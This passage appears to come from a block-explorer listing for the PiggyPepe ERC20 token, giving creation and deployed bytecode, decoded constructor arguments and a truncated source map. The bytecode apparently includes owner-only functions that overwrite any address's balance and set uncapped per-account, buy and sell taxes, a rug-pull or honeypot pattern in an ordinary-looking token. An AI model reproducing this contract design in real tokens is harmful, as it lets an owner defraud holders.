919050565b611b4f81611b39565b82525050565b6000602082019050611b6a6000830184611b46565b92915050565b60008060408385031215611b8757611b86611941565b5b6000611b95858286016119c5565b9250506020611ba6858286016119c5565b9150509250929050565b600060208284031215611bc657611bc5611941565b5b6000611bd48482850161198f565b91505092915050565b611be681611966565b82525050565b6000602082019050611c016000830184611bdd565b92915050565b60008060408385031215611c1e57611c1d611941565b5b6000611c2c8582860161198f565b9250506020611c3d8582860161198f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8e57607f821691505b602082108103611ca157611ca0611c47565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611cdd60208361189a565b9150611ce882611ca7565b602082019050919050565b60006020820190508181036000830152611d0c81611cd0565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611d6f602e8361189a565b9150611d7a82611d13565b604082019050919050565b60006020820190508181036000830152611d9e81611d62565b9050919050565b600081519050611db481611978565b92915050565b600060208284031215611dd057611dcf611941565b5b6000611dde84828501611da5565b91505092915050565b6000604082019050611dfc6000830185611bdd565b611e096020830184611bdd565b9392505050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e6c60268361189a565b9150611e7782611e10565b604082019050919050565b60006020820190508181036000830152611e9b81611e5f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611efe60248361189a565b9150611f0982611ea2565b604082019050919050565b60006020820190508181036000830152611f2d81611ef1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f9060228361189a565b9150611f9b82611f34565b604082019050919050565b60006020820190508181036000830152611fbf81611f83565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611ffc601d8361189a565b915061200782611fc6565b602082019050919050565b6000602082019050818103600083015261202b81611fef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061208e60258361189a565b915061209982612032565b604082019050919050565b600060208201905081810360008301526120bd81612081565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061212060238361189a565b915061212b826120c4565b604082019050919050565b6000602082019050818103600083015261214f81612113565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006121b260268361189a565b91506121bd82612156565b604082019050919050565b600060208201905081810360008301526121e1816121a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612222826119a4565b915061222d836119a4565b9250828203905081811115612245576122446121e8565b5b92915050565b6000612256826119a4565b9150612261836119a4565b925082820261226f816119a4565b91508282048414831517612286576122856121e8565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006122c7826119a4565b91506122d2836119a4565b9250826122e2576122e161228d565b5b828204905092915050565b60006122f8826119a4565b9150612303836119a4565b925082820190508082111561231b5761231a6121e8565b5b9291505056fea2646970667358221220d79980b4a457af4949c59365592f0adb0394e320ed2d7126ab83fb02daed449764736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000191338500000000000000000000000000000000000000000000000000000000000000009506967677950657065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000095049474759504550450000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102b9578063a9059cbb146102d7578063c1f1b1b514610307578063dd62ed3e14610311578063f2fde38b1461034157610116565b8063715018a6146102595780638187f516146102635780638da5cb5b1461027f57806390ec57f11461029d57610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d35780634db23e3e146101f1578063508e13b81461020d57806370a082311461022957610116565b806306fdde031461011b578063095ea7b31461013957806313b2a23e1461016957806318160ddd14610185575b600080fd5b61012361035d565b604051610130919061191f565b60405180910390f35b610153600480360381019061014e91906119da565b6103ef565b6040516101609190611a35565b60405180910390f35b610183600480360381019061017e9190611a7c565b610412565b005b61018d6104e9565b60405161019a9190611acb565b60405180910390f35b6101bd60048036038101906101b89190611ae6565b6104f3565b6040516101ca9190611a35565b60405180910390f35b6101db610522565b6040516101e89190611b55565b60405180910390f35b61020b600480360381019061020691906119da565b61052b565b005b61022760048036038101906102229190611b70565b6105ef565b005b610243600480360381019061023e9190611bb0565b61067d565b6040516102509190611acb565b60405180910390f35b6102616106c6565b005b61027d60048036038101906102789190611bb0565b61074e565b005b61028761080e565b6040516102949190611bec565b60405180910390f35b6102b760048036038101906102b291906119da565b610838565b005b6102c1610940565b6040516102ce919061191f565b60405180910390f35b6102f160048036038101906102ec91906119da565b6109d2565b6040516102fe9190611a35565b60405180910390f35b61030f6109f0565b005b61032b60048036038101906103269190611c07565b610c4c565b6040516103389190611acb565b60405180910390f35b61035b60048036038101906103569190611bb0565b610cd2565b005b60606002805461036c90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611c76565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b6000806103fa610dc9565b9050610407818585610dd1565b600191505092915050565b61041a610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661043861080e565b73ffffffffffffffffffffffffffffffffffffffff161461048e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048590611cf3565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b6000806104fe610dc9565b905061050b858285610f99565b610516858585611025565b60019150509392505050565b60006012905090565b610533610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661055161080e565b73ffffffffffffffffffffffffffffffffffffffff16146105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e90611cf3565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6105f7610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661061561080e565b73ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066290611cf3565b60405180910390fd5b81600881905550806009819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ce610dc9565b73ffffffffffffffffffffffffffffffffffffffff166106ec61080e565b73ffffffffffffffffffffffffffffffffffffffff1614610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990611cf3565b60405180910390fd5b61074c60006116c6565b565b610756610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661077461080e565b73ffffffffffffffffffffffffffffffffffffffff16146107ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c190611cf3565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610840610dc9565b73ffffffffffffffffffffffffffffffffffffffff1661085e61080e565b73ffffffffffffffffffffffffffffffffffffffff16146108b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ab90611cf3565b60405180910390fd5b60008110156108f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ef90611d85565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60606003805461094f90611c76565b80601f016020809104026020016040519081016040528092919081815260200182805461097b90611c76565b80156109c85780601f1061099d576101008083540402835291602001916109c8565b820191906000526020600020905b8154815290600101906020018083116109ab57829003601f168201915b5050505050905090565b60006109e66109df610dc9565b8484611025565b6001905092915050565b6109f8610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610a1661080e565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390611cf3565b60405180910390fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611dba565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610baa9190611dba565b6040518363ffffffff1660e01b8152600401610bc7929190611de7565b6020604051808303816000875af1158015610be6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0a9190611dba565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610cda610dc9565b73ffffffffffffffffffffffffffffffffffffffff16610cf861080e565b73ffffffffffffffffffffffffffffffffffffffff1614610d4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4590611cf3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490611e82565b60405180910390fd5b610dc6816116c6565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3790611f14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea690611fa6565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f8c9190611acb565b60405180910390a3505050565b6000610fa58484610c4c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461101f5781811015611011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100890612012565b60405180910390fd5b61101e8484848403610dd1565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b906120a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90612136565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561118a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611181906121c8565b60405180910390fd5b60006001905061119a858561178c565b156111a457600090505b6000811561136f5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ba57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361125e5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036112b95760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561134557600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b61136b606461135d838861183790919063ffffffff16565b61184d90919063ffffffff16565b9150505b600081111561150e576113ca81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611461816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187990919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115059190611acb565b60405180910390a35b61156b818561151d9190612217565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160b81856115bd9190612217565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187990919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876116a99190612217565b6040516116b69190611acb565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061182f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611845919061224b565b905092915050565b6000818361185b91906122bc565b905092915050565b600081836118719190612217565b905092915050565b6000818361188791906122ed565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118c95780820151818401526020810190506118ae565b60008484015250505050565b6000601f19601f8301169050919050565b60006118f18261188f565b6118fb818561189a565b935061190b8185602086016118ab565b611914816118d5565b840191505092915050565b6000602082019050818103600083015261193981846118e6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061197182611946565b9050919050565b61198181611966565b811461198c57600080fd5b50565b60008135905061199e81611978565b92915050565b6000819050919050565b6119b7816119a4565b81146119c257600080fd5b50565b6000813590506119d4816119ae565b92915050565b600080604083850312156119f1576119f0611941565b5b60006119ff8582860161198f565b9250506020611a10858286016119c5565b9150509250929050565b60008115159050919050565b611a2f81611a1a565b82525050565b6000602082019050611a4a6000830184611a26565b92915050565b611a5981611a1a565b8114611a6457600080fd5b50565b600081359050611a7681611a50565b92915050565b60008060408385031215611a9357611a92611941565b5b6000611aa18582860161198f565b9250506020611ab285828601611a67565b9150509250929050565b611ac5816119a4565b82525050565b6000602082019050611ae06000830184611abc565b92915050565b600080600060608486031215611aff57611afe611941565b5b6000611b0d8682870161198f565b9350506020611b1e8682870161198f565b9250506040611b2f868287016119c5565b9150509250925092565b600060ff82169050919050565b611b4f81611b39565b82525050565b6000602082019050611b6a6000830184611b46565b92915050565b60008060408385031215611b8757611b86611941565b5b6000611b95858286016119c5565b9250506020611ba6858286016119c5565b9150509250929050565b600060208284031215611bc657611bc5611941565b5b6000611bd48482850161198f565b91505092915050565b611be681611966565b82525050565b6000602082019050611c016000830184611bdd565b92915050565b60008060408385031215611c1e57611c1d611941565b5b6000611c2c8582860161198f565b9250506020611c3d8582860161198f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c8e57607f821691505b602082108103611ca157611ca0611c47565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611cdd60208361189a565b9150611ce882611ca7565b602082019050919050565b60006020820190508181036000830152611d0c81611cd0565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611d6f602e8361189a565b9150611d7a82611d13565b604082019050919050565b60006020820190508181036000830152611d9e81611d62565b9050919050565b600081519050611db481611978565b92915050565b600060208284031215611dd057611dcf611941565b5b6000611dde84828501611da5565b91505092915050565b6000604082019050611dfc6000830185611bdd565b611e096020830184611bdd565b9392505050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e6c60268361189a565b9150611e7782611e10565b604082019050919050565b60006020820190508181036000830152611e9b81611e5f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611efe60248361189a565b9150611f0982611ea2565b604082019050919050565b60006020820190508181036000830152611f2d81611ef1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f9060228361189a565b9150611f9b82611f34565b604082019050919050565b60006020820190508181036000830152611fbf81611f83565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611ffc601d8361189a565b915061200782611fc6565b602082019050919050565b6000602082019050818103600083015261202b81611fef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061208e60258361189a565b915061209982612032565b604082019050919050565b600060208201905081810360008301526120bd81612081565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061212060238361189a565b915061212b826120c4565b604082019050919050565b6000602082019050818103600083015261214f81612113565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006121b260268361189a565b91506121bd82612156565b604082019050919050565b600060208201905081810360008301526121e1816121a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612222826119a4565b915061222d836119a4565b9250828203905081811115612245576122446121e8565b5b92915050565b6000612256826119a4565b9150612261836119a4565b925082820261226f816119a4565b91508282048414831517612286576122856121e8565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006122c7826119a4565b91506122d2836119a4565b9250826122e2576122e161228d565b5b828204905092915050565b60006122f8826119a4565b9150612303836119a4565b925082820190508082111561231b5761231a6121e8565b5b9291505056fea2646970667358221220d79980b4a457af4949c59365592f0adb0394e320ed2d7126ab83fb02daed449764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000191338500000000000000000000000000000000000000000000000000000000000000009506967677950657065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000095049474759504550450000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PiggyPepe
Arg [1] : symbol_ (string): PIGGYPEPE
Arg [2] : totalSupply_ (uint256): 420690000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000019133850
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 5069676779506570650000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [6] : 5049474759504550450000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5277:4577:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3680:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4231:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8795:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3974:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9189:286;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3882:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8914:107;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8455:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8055:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;815:103;;;:::i;:::-;;8356:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;592:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8591:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3779:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9029:152;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8181:167;;;:::i;:::-;;4081:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;926:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3680:91;3725:13;3758:5;3751:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3680:91;:::o;4231:192::-;4305:4;4322:13;4338:12;:10;:12::i;:::-;4322:28;;4361:32;4370:5;4377:7;4386:6;4361:8;:32::i;:::-;4411:4;4404:11;;;4231:192;;;;:::o;8795:111::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8892:6:::1;8873;:16;8880:8;8873:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;8795:111:::0;;:::o;3974:99::-;4026:7;4053:12;;4046:19;;3974:99;:::o;9189:286::-;9311:4;9328:15;9346:12;:10;:12::i;:::-;9328:30;;9369:38;9385:4;9391:7;9400:6;9369:15;:38::i;:::-;9418:27;9428:4;9434:2;9438:6;9418:9;:27::i;:::-;9463:4;9456:11;;;9189:286;;;;;:::o;3882:84::-;3931:5;3956:2;3949:9;;3882:84;:::o;8914:107::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9007:6:::1;8991:9;:13;9001:2;8991:13;;;;;;;;;;;;;;;:22;;;;8914:107:::0;;:::o;8455:128::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8544:4:::1;8534:7;:14;;;;8570:5;8559:8;:16;;;;8455:128:::0;;:::o;8055:118::-;8120:7;8147:9;:18;8157:7;8147:18;;;;;;;;;;;;;;;;8140:25;;8055:118;;;:::o;815:103::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;880:30:::1;907:1;880:18;:30::i;:::-;815:103::o:0;8356:91::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8434:5:::1;8418:13;;:21;;;;;;;;;;;;;;;;;;8356:91:::0;:::o;592:87::-;638:7;665:6;;;;;;;;;;;658:13;;592:87;:::o;8591:196::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8690:1:::1;8680:6;:11;;8672:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8773:6;8753:7;:17;8761:8;8753:17;;;;;;;;;;;;;;;:26;;;;8591:196:::0;;:::o;3779:95::-;3826:13;3859:7;3852:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3779:95;:::o;9029:152::-;9099:4;9116:35;9126:12;:10;:12::i;:::-;9140:2;9144:6;9116:9;:35::i;:::-;9169:4;9162:11;;9029:152;;;;:::o;8181:167::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8264:15:::1;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8246:55;;;8310:4;8317:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8246:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8230:13;;:110;;;;;;;;;;;;;;;;;;8181:167::o:0;4081:142::-;4161:7;4188:11;:18;4200:5;4188:18;;;;;;;;;;;;;;;:27;4207:7;4188:27;;;;;;;;;;;;;;;;4181:34;;4081:142;;;;:::o;926:201::-;738:12;:10;:12::i;:::-;727:23;;:7;:5;:7::i;:::-;:23;;;719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1035:1:::1;1015:22;;:8;:22;;::::0;1007:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1091:28;1110:8;1091:18;:28::i;:::-;926:201:::0;:::o;243:98::-;296:7;323:10;316:17;;243:98;:::o;4431:378::-;4584:1;4567:19;;:5;:19;;;4559:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4665:1;4646:21;;:7;:21;;;4638:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4747:6;4717:11;:18;4729:5;4717:18;;;;;;;;;;;;;;;:27;4736:7;4717:27;;;;;;;;;;;;;;;:36;;;;4785:7;4769:32;;4778:5;4769:32;;;4794:6;4769:32;;;;;;:::i;:::-;;;;;;;;4431:378;;;:::o;4817:453::-;4952:24;4979:25;4989:5;4996:7;4979:9;:25::i;:::-;4952:52;;5039:17;5019:16;:37;5015:248;;5101:6;5081:16;:26;;5073:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5185:51;5194:5;5201:7;5229:6;5210:16;:25;5185:8;:51::i;:::-;5015:248;4941:329;4817:453;;;:::o;6393:1512::-;6541:1;6525:18;;:4;:18;;;6517:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6618:1;6604:16;;:2;:16;;;6596:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6671:19;6693:9;:15;6703:4;6693:15;;;;;;;;;;;;;;;;6671:37;;6742:7;6727:11;:22;;6719:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6803:7;6813:4;6803:14;;6832:27;6850:4;6856:2;6832:17;:27::i;:::-;6828:70;;;6881:5;6876:10;;6828:70;6908:22;6949:2;6945:487;;;6968:16;7032:1;7007:27;;:13;;;;;;;;;;;:27;;;7003:260;;7065:13;;;;;;;;;;;7059:19;;:2;:19;;;7055:87;;7114:8;;7103:19;;7055:87;7172:13;;;;;;;;;;;7164:21;;:4;:21;;;7160:88;;7221:7;;7210:18;;7160:88;7003:260;7297:1;7281:7;:13;7289:4;7281:13;;;;;;;;;;;;;;;;:17;7277:82;;;7330:7;:13;7338:4;7330:13;;;;;;;;;;;;;;;;7319:24;;7277:82;7390:30;7416:3;7390:21;7402:8;7390:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;7373:47;;6953:479;6945:487;7463:1;7446:14;:18;7442:252;;;7499:35;7519:14;7499:9;:15;7509:4;7499:15;;;;;;;;;;;;;;;;:19;;:35;;;;:::i;:::-;7481:9;:15;7491:4;7481:15;;;;;;;;;;;;;;;:53;;;;7575:43;7603:14;7575:9;:23;5649:42;7575:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;7549:9;:23;5649:42;7549:23;;;;;;;;;;